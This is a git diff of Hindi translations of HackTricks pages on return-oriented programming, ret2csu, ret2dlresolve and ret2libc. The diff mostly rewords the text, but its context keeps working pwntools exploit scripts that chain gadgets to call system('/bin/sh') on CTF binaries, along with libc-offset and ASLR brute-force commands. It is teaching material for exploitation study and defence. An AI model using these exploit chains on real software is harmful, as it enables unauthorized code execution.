+- **pop rdi; ret**: स्टैक के शीर्ष मान को **RDI** में पॉप करता है और फिर रिटर्न करता है। **system()** के लिए हमारे तर्क को सेट करने के लिए आवश्यक। - **ret**: एक साधारण रिटर्न, कुछ परिदृश्यों में स्टैक संरेखण के लिए उपयोगी। -और हम **system()** फ़ंक्शन का पता जानते हैं। +और हमें **system()** फ़ंक्शन का पता है। ### **ROP Chain** -नीचे **pwntools** का उपयोग करके एक उदाहरण दिया गया है जो **system('/bin/sh')** को **x64** पर निष्पादित करने के लिए ROP चेन सेटअप और निष्पादित करता है: +नीचे एक उदाहरण है जो **pwntools** का उपयोग करके **system('/bin/sh')** को **x64** पर निष्पादित करने के लिए ROP चेन सेटअप और निष्पादित करता है: ```python from pwn import * @@ -130,24 +130,25 @@ p.interactive() इस उदाहरण में: - हम **`pop rdi; ret`** गैजेट का उपयोग करते हैं ताकि **`RDI`** को **`"/bin/sh"`** के पते पर सेट किया जा सके। -- हम **`RDI`** सेट करने के बाद सीधे **`system()`** पर कूदते हैं, जिसमें **system()** का पता श्रृंखला में होता है। -- यदि लक्षित वातावरण की आवश्यकता हो, तो संरेखण के लिए **`ret_gadget`** का उपयोग किया जाता है, जो **x64** में कार्यों को कॉल करने से पहले उचित स्टैक संरेखण सुनिश्चित करने के लिए अधिक सामान्य है। +- हम **`RDI`** सेट करने के बाद सीधे **`system()`** पर कूदते हैं, जिसमें चेन में **system()** का पता होता है। +- यदि लक्षित वातावरण को इसकी आवश्यकता होती है, तो **`ret_gadget`** संरेखण के लिए उपयोग किया जाता है, जो **x64** में कार्यों को कॉल करने से पहले उचित स्टैक संरेखण सुनिश्चित करने के लिए अधिक सामान्य है। ### स्टैक संरेखण -**x86-64 ABI** सुनिश्चित करता है कि जब **call instruction** निष्पादित होती है, तो **स्टैक 16-बाइट संरेखित** होता है। **LIBC**, प्रदर्शन को अनुकूलित करने के लिए, **SSE निर्देशों** (जैसे **movaps**) का उपयोग करता है जो इस संरेखण की आवश्यकता होती है। यदि स्टैक ठीक से संरेखित नहीं है (जिसका अर्थ है कि **RSP** 16 का गुणांक नहीं है), तो **ROP श्रृंखला** में **system** जैसे कार्यों के लिए कॉल विफल हो जाएंगे। इसे ठीक करने के लिए, बस **system** को कॉल करने से पहले अपनी ROP श्रृंखला में एक **ret gadget** जोड़ें। +**x86-64 ABI** सुनिश्चित करता है कि जब **call instruction** निष्पादित होती है, तो **स्टैक 16-बाइट संरेखित** होता है। **LIBC**, प्रदर्शन को अनुकूलित करने के लिए, **SSE निर्देशों** (जैसे **movaps**) का उपयोग करता है जो इस संरेखण की आवश्यकता होती है। यदि स्टैक ठीक से संरेखित नहीं है (जिसका अर्थ है कि **RSP** 16 का गुणांक नहीं है), तो **ROP चेन** में **system** जैसी कार्यों के लिए कॉल विफल हो जाएंगे। इसे ठीक करने के लिए, अपने ROP चेन में **system** को कॉल करने से पहले बस एक **ret gadget** जोड़ें। ## x86 बनाम x64 मुख्य अंतर > [!TIP] -> चूंकि **x64 पहले कुछ तर्कों के लिए रजिस्टर का उपयोग करता है,** इसलिए यह अक्सर सरल कार्य कॉल के लिए x86 की तुलना में कम गैजेट की आवश्यकता होती है, लेकिन सही गैजेट खोजने और श्रृंखला में जोड़ना अधिक जटिल हो सकता है क्योंकि रजिस्टर की संख्या और पता स्थान बड़ा होता है। **x64** आर्किटेक्चर में रजिस्टर की बढ़ी हुई संख्या और बड़े पते के स्थान में शोषण विकास के लिए अवसर और चुनौतियाँ दोनों प्रदान करती हैं, विशेष रूप से Return-Oriented Programming (ROP) के संदर्भ में। +> चूंकि **x64 पहले कुछ तर्कों के लिए रजिस्टर का उपयोग करता है,** इसलिए यह अक्सर सरल कार्य कॉल के लिए x86 की तुलना में कम गैजेट की आवश्यकता होती है, लेकिन सही गैजेट को खोजने और चेन करने में अधिक जटिलता हो सकती है क्योंकि रजिस्टर की संख्या और पता स्थान बड़ा होता है। **x64** आर्किटेक्चर में रजिस्टर की बढ़ी हुई संख्या और बड़े पते के स्थान ने विशेष रूप से Return-Oriented Programming (ROP) के संदर्भ में शोषण विकास के लिए अवसर और चुनौतियाँ दोनों प्रदान की हैं। -## ARM64 उदाहरण में ROP श्रृंखला +## ARM64 उदाहरण में ROP चेन -### **ARM64 मूल बातें और कॉलिंग सम्मेलन** +### **ARM64 मूल बातें और कॉलिंग कन्वेंशंस** इस जानकारी के लिए निम्नलिखित पृष्ठ देखें: + {{#ref}} ../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} @@ -155,20 +156,22 @@ p.interactive() ## ROP के खिलाफ सुरक्षा - [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **और** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): ये सुरक्षा ROP के उपयोग को कठिन बनाती हैं क्योंकि गैजेट के पते निष्पादन के बीच बदलते हैं। -- [**स्टैक कैनरीज़**](../common-binary-protections-and-bypasses/stack-canaries/index.html): BOF के मामले में, ROP श्रृंखला का दुरुपयोग करने के लिए लौटने वाले प्वाइंटर्स को ओवरराइट करने के लिए स्टोर स्टैक कैनरी को बायपास करना आवश्यक है। -- **गैजेट्स की कमी**: यदि पर्याप्त गैजेट्स नहीं हैं, तो ROP श्रृंखला उत्पन्न करना संभव नहीं होगा। +- [**स्टैक कैनरीज़**](../common-binary-protections-and-bypasses/stack-canaries/index.html): BOF के मामले में, ROP चेन का दुरुपयोग करने के लिए लौटने वाले प्वाइंटर्स को ओवरराइट करने के लिए स्टोर स्टैक कैनरी को बायपास करना आवश्यक है। +- **गैजेट्स की कमी**: यदि पर्याप्त गैजेट्स नहीं हैं, तो ROP चेन उत्पन्न करना संभव नहीं होगा। ## ROP आधारित तकनीकें ध्यान दें कि ROP केवल मनमाने कोड को निष्पादित करने की एक तकनीक है। ROP के आधार पर कई Ret2XXX तकनीकें विकसित की गई हैं: -- **Ret2lib**: मनमाने पैरामीटर के साथ लोड की गई लाइब्रेरी से मनमाने कार्यों को कॉल करने के लिए ROP का उपयोग करें (आमतौर पर कुछ ऐसा जैसे `system('/bin/sh')`। +- **Ret2lib**: मनमाने पैरामीटर के साथ लोड की गई लाइब्रेरी से मनमाने कार्यों को कॉल करने के लिए ROP का उपयोग करें (आमतौर पर कुछ ऐसा जैसे `system('/bin/sh')`). + {{#ref}} ret2lib/ {{#endref}} -- **Ret2Syscall**: ROP का उपयोग करके syscall के लिए कॉल तैयार करें, जैसे `execve`, और इसे मनमाने आदेश निष्पादित करने के लिए बनाएं। +- **Ret2Syscall**: ROP का उपयोग करके syscall, जैसे `execve`, के लिए कॉल तैयार करें और इसे मनमाने आदेश निष्पादित करने के लिए बनाएं। + {{#ref}} rop-syscall-execv/ @@ -184,7 +187,7 @@ rop-syscall-execv/ - [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions) - [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html) -- 64 बिट, Pie और nx सक्षम, कोई कैनरी नहीं, RIP को `vsyscall` पते के साथ ओवरराइट करें जिसका एकमात्र उद्देश्य स्टैक में अगले पते पर लौटना है जो उस कार्य के पते का आंशिक ओवरराइट होगा जो ध्वज को लीक करता है +- 64 बिट, Pie और nx सक्षम, कोई कैनरी नहीं, RIP को `vsyscall` पते के साथ ओवरराइट करें जिसका एकमात्र उद्देश्य स्टैक में अगले पते पर लौटना है जो फ्लैग लीक करने वाले कार्य के भाग का आंशिक ओवरराइट होगा - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) - arm64, कोई ASLR नहीं, स्टैक में शेलकोड पर कूदने और स्टैक को निष्पादित करने के लिए ROP गैजेट diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md b/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md index 8ea5cd38a..03c27413f 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md @@ -6,15 +6,15 @@ ## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)बुनियादी जानकारी -**ret2csu** एक हैकिंग तकनीक है जिसका उपयोग तब किया जाता है जब आप किसी प्रोग्राम पर नियंत्रण पाने की कोशिश कर रहे होते हैं लेकिन आपको प्रोग्राम के व्यवहार को नियंत्रित करने के लिए आमतौर पर उपयोग किए जाने वाले **gadgets** नहीं मिलते। +**ret2csu** एक हैकिंग तकनीक है जिसका उपयोग तब किया जाता है जब आप किसी प्रोग्राम पर नियंत्रण पाने की कोशिश कर रहे होते हैं लेकिन आपको प्रोग्राम के व्यवहार को नियंत्रित करने के लिए आवश्यक **gadgets** नहीं मिलते। जब एक प्रोग्राम कुछ विशेष पुस्तकालयों (जैसे libc) का उपयोग करता है, तो इसमें विभिन्न भागों के बीच बातचीत को प्रबंधित करने के लिए कुछ अंतर्निहित कार्य होते हैं। इन कार्यों में कुछ छिपे हुए रत्न होते हैं जो हमारे गायब gadgets के रूप में कार्य कर सकते हैं, विशेष रूप से एक जिसे `__libc_csu_init` कहा जाता है। ### \_\_libc_csu_init में जादुई Gadgets -**`__libc_csu_init`** में, दो निर्देशों के अनुक्रम (gadgets) को उजागर करने के लिए हैं: +**`__libc_csu_init`** में दो निर्देशों के अनुक्रम (gadgets) हैं जिन्हें उजागर करना है: -1. पहला अनुक्रम हमें कई रजिस्टरों (rbx, rbp, r12, r13, r14, r15) में मान सेट करने की अनुमति देता है। ये उन स्लॉट्स की तरह होते हैं जहाँ हम बाद में उपयोग करने के लिए संख्याएँ या पते संग्रहीत कर सकते हैं। +1. पहला अनुक्रम हमें कई रजिस्टरों (rbx, rbp, r12, r13, r14, r15) में मान सेट करने की अनुमति देता है। ये ऐसे स्लॉट हैं जहाँ हम उन संख्याओं या पतों को स्टोर कर सकते हैं जिन्हें हम बाद में उपयोग करना चाहते हैं। ```armasm pop rbx; pop rbp; @@ -24,7 +24,7 @@ pop r14; pop r15; ret; ``` -यह गैजेट हमें इन रजिस्टरों को नियंत्रित करने की अनुमति देता है, स्टैक से मानों को पॉप करके उन्हें में डालने के लिए। +यह गैजेट हमें इन रजिस्टरों को नियंत्रित करने की अनुमति देता है, स्टैक से मानों को पॉप करके। 2. दूसरा अनुक्रम उन मानों का उपयोग करता है जो हमने सेट किए हैं, कुछ चीजें करने के लिए: - **विशिष्ट मानों को अन्य रजिस्टरों में स्थानांतरित करें**, उन्हें हमारे लिए फ़ंक्शनों में पैरामीटर के रूप में उपयोग करने के लिए तैयार करना। @@ -49,7 +49,7 @@ ret ``` शर्तें होंगी: -- `[r12 + rbx*8]` को एक कॉल करने योग्य फ़ंक्शन के पते की ओर इशारा करना चाहिए (यदि कोई विचार नहीं है और कोई pie नहीं है, तो आप बस `_init` फ़ंक्शन का उपयोग कर सकते हैं): +- `[r12 + rbx*8]` को एक पता इंगित करना चाहिए जो एक कॉल करने योग्य फ़ंक्शन को स्टोर कर रहा है (यदि कोई विचार नहीं है और कोई pie नहीं है, तो आप बस `_init` फ़ंक्शन का उपयोग कर सकते हैं): - यदि \_init `0x400560` पर है, तो GEF का उपयोग करके इसके लिए मेमोरी में एक पॉइंटर खोजें और `[r12 + rbx*8]` को \_init के लिए पॉइंटर वाला पता बनाएं: ```bash # Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html @@ -60,17 +60,18 @@ gef➤ search-pattern 0x400560 [+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r-- 0x600e38 - 0x600e44 → "\x60\x05\x40[...]" ``` -- `rbp` और `rbx` का मान समान होना चाहिए ताकि कूद से बचा जा सके +- `rbp` और `rbx` का वही मान होना चाहिए ताकि कूद से बचा जा सके - कुछ छोड़े गए pops हैं जिन्हें आपको ध्यान में रखना चाहिए ## RDI और RSI -**`rdi`** और **`rsi`** को ret2csu गैजेट से नियंत्रित करने का एक और तरीका है विशेष ऑफसेट्स तक पहुंचना: +**`rdi`** और **`rsi`** को ret2csu गैजेट से नियंत्रित करने का एक और तरीका है कि इसे विशिष्ट ऑफसेट्स तक पहुंचा जाए:

https://www.scs.stanford.edu/brop/bittau-brop.pdf

अधिक जानकारी के लिए इस पृष्ठ की जांच करें: + {{#ref}} brop-blind-return-oriented-programming.md {{#endref}} @@ -79,11 +80,11 @@ brop-blind-return-oriented-programming.md ### कॉल का उपयोग करना -कल्पना करें कि आप एक syscall करना चाहते हैं या `write()` जैसी किसी फ़ंक्शन को कॉल करना चाहते हैं लेकिन `rdx` और `rsi` रजिस्टर में विशेष मान चाहिए। सामान्यतः, आप उन गैजेट्स की तलाश करेंगे जो इन रजिस्टरों को सीधे सेट करते हैं, लेकिन आप कोई नहीं पा रहे हैं। +कल्पना करें कि आप एक syscall करना चाहते हैं या `write()` जैसी किसी फ़ंक्शन को कॉल करना चाहते हैं लेकिन आपको `rdx` और `rsi` रजिस्टर में विशेष मान चाहिए। सामान्यतः, आप उन गैजेट्स की तलाश करेंगे जो इन रजिस्टरों को सीधे सेट करते हैं, लेकिन आप कोई नहीं पा रहे हैं। यहां **ret2csu** काम में आता है: -1. **रजिस्टर सेट करें**: पहले जादुई गैजेट का उपयोग करें ताकि स्टैक से मानों को निकालकर rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), और r15 में डाल सकें। +1. **रजिस्टर सेट करें**: पहले जादुई गैजेट का उपयोग करें ताकि स्टैक से मानों को निकालकर rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), और r15 में डाला जा सके। 2. **दूसरे गैजेट का उपयोग करें**: उन रजिस्टरों को सेट करने के बाद, आप दूसरे गैजेट का उपयोग करते हैं। यह आपको अपने चुने हुए मानों को `rdx` और `rsi` (क्रमशः r14 और r13 से) में स्थानांतरित करने की अनुमति देता है, जो फ़ंक्शन कॉल के लिए पैरामीटर तैयार करता है। इसके अलावा, `r15` और `rbx` को नियंत्रित करके, आप प्रोग्राम को उस फ़ंक्शन को कॉल करने के लिए बना सकते हैं जो आप पता लगाते हैं और `[r15 + rbx*8]` में रखते हैं। आपके पास [**इस तकनीक का उपयोग करते हुए एक उदाहरण और इसे समझाते हुए**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation) है, और यह अंतिम शोषण है जिसका इसने उपयोग किया: @@ -111,9 +112,9 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written print(p.recvline()) # should receive "Awesome work!" ``` > [!WARNING] -> ध्यान दें कि पिछले एक्सप्लॉइट का उद्देश्य **`RCE`** करना नहीं है, इसका उद्देश्य केवल एक फ़ंक्शन **`win`** को कॉल करना है (ROP चेन में `win` के पते को stdin से कॉल करते हुए और इसे r15 में स्टोर करते हुए) तीसरे तर्क के साथ जिसका मान `0xdeadbeefcafed00d` है। +> ध्यान दें कि पिछले एक्सप्लॉइट का उद्देश्य **`RCE`** करना नहीं है, इसका उद्देश्य केवल एक फ़ंक्शन **`win`** को कॉल करना है (ROP चेन में `win` का पता stdin से कॉल करते समय प्राप्त करना और इसे r15 में स्टोर करना) एक तीसरे तर्क के साथ जिसका मान `0xdeadbeefcafed00d` है। -### कॉल को बायपास करना और रिट तक पहुंचना +### कॉल को बायपास करना और ret तक पहुंचना निम्नलिखित एक्सप्लॉइट [**इस पृष्ठ से निकाला गया**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) जहां **ret2csu** का उपयोग किया गया है लेकिन कॉल का उपयोग करने के बजाय, यह **तुलनाओं को बायपास कर रहा है और कॉल के बाद `ret` तक पहुंच रहा है:** ```python @@ -167,6 +168,6 @@ target.interactive() ``` ### Why Not Just Use libc Directly? -आमतौर पर ये मामले भी [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html) के प्रति संवेदनशील होते हैं, लेकिन कभी-कभी आपको उन पैरामीटर को नियंत्रित करने की आवश्यकता होती है जो सीधे libc में पाए गए गैजेट्स के साथ आसानी से नियंत्रित नहीं किए जा सकते। उदाहरण के लिए, `write()` फ़ंक्शन को तीन पैरामीटर की आवश्यकता होती है, और **इन सभी को सीधे सेट करने के लिए गैजेट्स खोजना संभव नहीं हो सकता**। +आमतौर पर, ये मामले भी [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html) के प्रति संवेदनशील होते हैं, लेकिन कभी-कभी आपको उन पैरामीटर को नियंत्रित करने की आवश्यकता होती है जो सीधे libc में पाए गए गैजेट्स के साथ आसानी से नियंत्रित नहीं किए जा सकते। उदाहरण के लिए, `write()` फ़ंक्शन को तीन पैरामीटर की आवश्यकता होती है, और **इन सभी को सीधे सेट करने के लिए गैजेट्स खोजना संभव नहीं हो सकता**। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md index cfbd80e93..38bf7df75 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md @@ -6,17 +6,18 @@ जैसा कि [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) और [**Relro**](../common-binary-protections-and-bypasses/relro.md) के पृष्ठ में समझाया गया है, बिना Full Relro के बाइनरी पहली बार उपयोग किए जाने पर प्रतीकों (जैसे बाहरी पुस्तकालयों के लिए पते) को हल करेंगे। यह समाधान **`_dl_runtime_resolve`** फ़ंक्शन को कॉल करके होता है। -**`_dl_runtime_resolve`** फ़ंक्शन स्टैक से कुछ संरचनाओं के संदर्भ लेता है जिनकी उसे निर्दिष्ट प्रतीक को **हल** करने के लिए आवश्यकता होती है। +**`_dl_runtime_resolve`** फ़ंक्शन स्टैक से कुछ संरचनाओं के संदर्भ लेता है जिनकी उसे निर्दिष्ट प्रतीक को **हल करने** के लिए आवश्यकता होती है। -इसलिए, सभी इन संरचनाओं को **फेक करना संभव है** ताकि गतिशील रूप से लिंक किया गया प्रतीक (जैसे **`system`** फ़ंक्शन) को हल किया जा सके और इसे एक कॉन्फ़िगर किए गए पैरामीटर के साथ कॉल किया जा सके (जैसे **`system('/bin/sh')`**)। +इसलिए, सभी इन संरचनाओं को **फेक करना संभव है** ताकि डायनामिक लिंकिंग अनुरोधित प्रतीक (जैसे **`system`** फ़ंक्शन) को हल कर सके और इसे एक कॉन्फ़िगर किए गए पैरामीटर (जैसे **`system('/bin/sh')`**) के साथ कॉल कर सके। -आमतौर पर, इन सभी संरचनाओं को एक **प्रारंभिक ROP श्रृंखला बनाकर फेक किया जाता है जो `read`** को लिखने योग्य मेमोरी पर कॉल करता है, फिर **संरचनाएँ** और स्ट्रिंग **`'/bin/sh'`** को पास किया जाता है ताकि उन्हें एक ज्ञात स्थान पर पढ़ा जा सके, और फिर ROP श्रृंखला **`_dl_runtime_resolve`** को कॉल करके जारी रहती है, इसे **फेक संरचनाओं में `system` का पता हल करने** के लिए और **इस पते को** `$'/bin/sh'` के पते के साथ कॉल करने के लिए। +आमतौर पर, इन सभी संरचनाओं को एक **प्रारंभिक ROP श्रृंखला बनाकर फेक किया जाता है जो `read` को लिखने योग्य मेमोरी पर कॉल करता है, फिर **संरचनाएँ** और स्ट्रिंग **`'/bin/sh'`** को पास किया जाता है ताकि वे एक ज्ञात स्थान पर पढ़े जाएं, और फिर ROP श्रृंखला **`_dl_runtime_resolve`** को कॉल करके जारी रहती है, इसे **फेक संरचनाओं में `system` का पता हल करने** के लिए और **इस पते को** `$'/bin/sh'` के पते के साथ कॉल करने के लिए। > [!TIP] -> यह तकनीक विशेष रूप से उपयोगी है यदि syscall गैजेट्स नहीं हैं (जैसे [**ret2syscall**](rop-syscall-execv/index.html) या [SROP](srop-sigreturn-oriented-programming/index.html) जैसी तकनीकों का उपयोग करने के लिए) और libc पते लीक करने के तरीके नहीं हैं। +> यह तकनीक विशेष रूप से उपयोगी है यदि syscall gadgets नहीं हैं (जैसे [**ret2syscall**](rop-syscall-execv/index.html) या [SROP](srop-sigreturn-oriented-programming/index.html) जैसी तकनीकों का उपयोग करने के लिए) और libc पते लीक करने के तरीके नहीं हैं। इस तकनीक के बारे में वीडियो के दूसरे भाग में एक अच्छा स्पष्टीकरण देखने के लिए इस वीडियो को चेक करें: + {{#ref}} https://youtu.be/ADULSwnQs-s?feature=shared {{#endref}} @@ -29,10 +30,10 @@ https://youtu.be/ADULSwnQs-s?feature=shared ## Attack Summary 1. कुछ स्थान पर फेक संरचनाएँ लिखें -2. सिस्टम के पहले तर्क को सेट करें (`$rdi = &'/bin/sh'`) +2. सिस्टम का पहला तर्क सेट करें (`$rdi = &'/bin/sh'`) 3. **`_dl_runtime_resolve`** को कॉल करने के लिए स्टैक पर संरचनाओं के पते सेट करें 4. **कॉल** `_dl_runtime_resolve` -5. **`system`** हल किया जाएगा और `'/bin/sh'` को तर्क के रूप में कॉल किया जाएगा +5. **`system`** को हल किया जाएगा और `'/bin/sh'` को तर्क के रूप में कॉल किया जाएगा [**pwntools documentation**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html) से, यह एक **`ret2dlresolve`** हमले का रूप है: ```python @@ -58,7 +59,7 @@ context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64')) ### शुद्ध Pwntools -आप इस तकनीक का [**उदाहरण यहाँ पा सकते हैं**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **जिसमें अंतिम ROP श्रृंखला का बहुत अच्छा विवरण है**, लेकिन यहाँ उपयोग किया गया अंतिम शोषण है: +आप इस तकनीक का [**उदाहरण यहाँ पा सकते हैं**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **जिसमें अंतिम ROP श्रृंखला का बहुत अच्छा विवरण है**, लेकिन यहाँ अंतिम शोषण है जो उपयोग किया गया: ```python from pwn import * @@ -188,6 +189,6 @@ target.interactive() - [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared) - [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve) - [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html) -- 32bit, कोई relro नहीं, कोई canary नहीं, nx, कोई pie नहीं, बुनियादी छोटे बफर ओवरफ्लो और रिटर्न। इसे शोषित करने के लिए bof का उपयोग `read` को फिर से कॉल करने के लिए किया जाता है एक `.bss` सेक्शन और एक बड़े आकार के साथ, वहां `dlresolve` नकली तालिकाओं को लोड करने के लिए `system`, मुख्य में लौटने और प्रारंभिक bof का फिर से दुरुपयोग करने के लिए dlresolve को कॉल करने और फिर `system('/bin/sh')` करने के लिए। +- 32bit, कोई relro नहीं, कोई canary नहीं, nx, कोई pie नहीं, बुनियादी छोटे बफर ओवरफ्लो और रिटर्न। इसे शोषण करने के लिए bof का उपयोग `read` को फिर से कॉल करने के लिए किया जाता है एक `.bss` सेक्शन और एक बड़े आकार के साथ, वहां `dlresolve` नकली तालिकाओं को लोड करने के लिए `system` को स्टोर करने के लिए, मुख्य में वापस लौटने और प्रारंभिक bof का फिर से दुरुपयोग करने के लिए dlresolve को कॉल करने और फिर `system('/bin/sh')` करने के लिए। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md index 80883f38f..99c30be37 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md @@ -4,9 +4,9 @@ ## **बुनियादी जानकारी** -**Ret2Libc** का सार यह है कि यह एक कमजोर प्रोग्राम के निष्पादन प्रवाह को एक साझा पुस्तकालय (जैसे, **system**, **execve**, **strcpy**) के भीतर एक फ़ंक्शन की ओर पुनर्निर्देशित करता है, बजाय इसके कि हमलावर द्वारा प्रदान किए गए शेलकोड को स्टैक पर निष्पादित किया जाए। हमलावर एक पेलोड तैयार करता है जो स्टैक पर लौटने के पते को उस पुस्तकालय फ़ंक्शन की ओर मोड़ता है, जबकि आवश्यक तर्कों को कॉलिंग कन्वेंशन के अनुसार सही तरीके से सेट करने की व्यवस्था भी करता है। +**Ret2Libc** का सार यह है कि यह एक कमजोर प्रोग्राम के निष्पादन प्रवाह को एक साझा पुस्तकालय (जैसे, **system**, **execve**, **strcpy**) के भीतर एक फ़ंक्शन की ओर पुनर्निर्देशित करता है, बजाय इसके कि हमलावर द्वारा प्रदान किए गए शेलकोड को स्टैक पर निष्पादित किया जाए। हमलावर एक पेलोड तैयार करता है जो स्टैक पर लौटने के पते को उस पुस्तकालय फ़ंक्शन की ओर इंगित करने के लिए संशोधित करता है, जबकि आवश्यक तर्कों को कॉलिंग कन्वेंशन के अनुसार सही ढंग से सेट करने की व्यवस्था भी करता है। -### **उदाहरण चरण (सरल किया हुआ)** +### **उदाहरण चरण (सरल किया गया)** - कॉल करने के लिए फ़ंक्शन का पता प्राप्त करें (जैसे system) और कॉल करने के लिए कमांड (जैसे /bin/sh) - पहले तर्क को कमांड स्ट्रिंग की ओर इंगित करने और फ़ंक्शन के लिए निष्पादन प्रवाह को पास करने के लिए एक ROP श्रृंखला उत्पन्न करें @@ -21,11 +21,11 @@ ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change eve ```bash for i in `seq 0 20`; do ldd ./ | grep libc; done ``` -- libc का ज्ञान होने पर `system` फ़ंक्शन के लिए ऑफ़सेट ढूंढना भी संभव है: +- libc का उपयोग जानने से `system` फ़ंक्शन के लिए ऑफ़सेट ढूंढना भी संभव है: ```bash readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system ``` -- libc का ज्ञान होने पर यह संभव है कि `/bin/sh` फ़ंक्शन के लिए ऑफ़सेट पाया जा सके: +- libc का ज्ञान होने पर, यह संभव है कि `/bin/sh` फ़ंक्शन के लिए ऑफ़सेट खोजा जा सके: ```bash strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh ``` @@ -49,7 +49,8 @@ find "/bin/sh" ## अज्ञात libc -यह संभव है कि आप **नहीं जानते कि बाइनरी कौन सा libc लोड कर रहा है** (क्योंकि यह एक सर्वर पर हो सकता है जहाँ आपके पास कोई पहुँच नहीं है)। उस मामले में आप **कुछ पते लीक करने के लिए भेद्यता का दुरुपयोग कर सकते हैं और पता लगा सकते हैं कि कौन सी libc** लाइब्रेरी का उपयोग किया जा रहा है: +यह संभव है कि आप **नहीं जानते कि बाइनरी कौन सी libc लोड कर रहा है** (क्योंकि यह एक सर्वर पर हो सकता है जहाँ आपके पास कोई पहुँच नहीं है)। उस मामले में आप **कुछ पते लीक करने के लिए भेद्यता का दुरुपयोग कर सकते हैं और यह पता लगा सकते हैं कि कौन सी libc** लाइब्रेरी का उपयोग किया जा रहा है: + {{#ref}} rop-leaking-libc-address/ @@ -57,27 +58,29 @@ rop-leaking-libc-address/ और आप इसके लिए एक pwntools टेम्पलेट यहाँ पा सकते हैं: + {{#ref}} rop-leaking-libc-address/rop-leaking-libc-template.md {{#endref}} -### 2 ऑफसेट के साथ libc जानना +### 2 ऑफसेट्स के साथ libc जानें पृष्ठ [https://libc.blukat.me/](https://libc.blukat.me/) की जाँच करें और libc के अंदर फ़ंक्शनों के **कुछ पते** का उपयोग करें ताकि **उपयोग की गई संस्करण** का पता लगाया जा सके। -## 32 बिट में ASLR को बायपास करना +## 32 बिट्स में ASLR को बायपास करना -ये ब्रूट-फोर्सिंग हमले **केवल 32 बिट सिस्टम के लिए उपयोगी हैं**। +ये ब्रूट-फोर्सिंग हमले **केवल 32-बिट सिस्टम के लिए उपयोगी हैं**। -- यदि एक्सप्लॉइट स्थानीय है, तो आप libc के बेस पते को ब्रूट-फोर्स करने की कोशिश कर सकते हैं (32 बिट सिस्टम के लिए उपयोगी): +- यदि एक्सप्लॉइट स्थानीय है, तो आप libc के बेस पते को ब्रूट-फोर्स करने की कोशिश कर सकते हैं (32-बिट सिस्टम के लिए उपयोगी): ```python for off in range(0xb7000000, 0xb8000000, 0x1000): ``` -- यदि आप एक दूरस्थ सर्वर पर हमला कर रहे हैं, तो आप **`libc` फ़ंक्शन `usleep` के पते को ब्रूट-फोर्स करने** की कोशिश कर सकते हैं, उदाहरण के लिए 10 को तर्क के रूप में पास करते हुए। यदि किसी बिंदु पर **सर्वर प्रतिक्रिया देने में 10 सेकंड अतिरिक्त समय लेता है**, तो आपने इस फ़ंक्शन का पता लगा लिया है। +- यदि आप एक दूरस्थ सर्वर पर हमला कर रहे हैं, तो आप **`libc` फ़ंक्शन `usleep` के पते को ब्रूट-फोर्स करने** की कोशिश कर सकते हैं, उदाहरण के लिए 10 को तर्क के रूप में पास करते हुए। यदि किसी बिंदु पर **सर्वर प्रतिक्रिया देने में 10 सेकंड अतिरिक्त लेता है**, तो आपने इस फ़ंक्शन का पता लगा लिया है। ## One Gadget -एक शेल को केवल **एक** विशिष्ट **पते** पर libc में कूदकर निष्पादित करें: +एक शेल को केवल **एक** विशिष्ट **पते** पर कूदकर निष्पादित करें: + {{#ref}} one-gadget.md 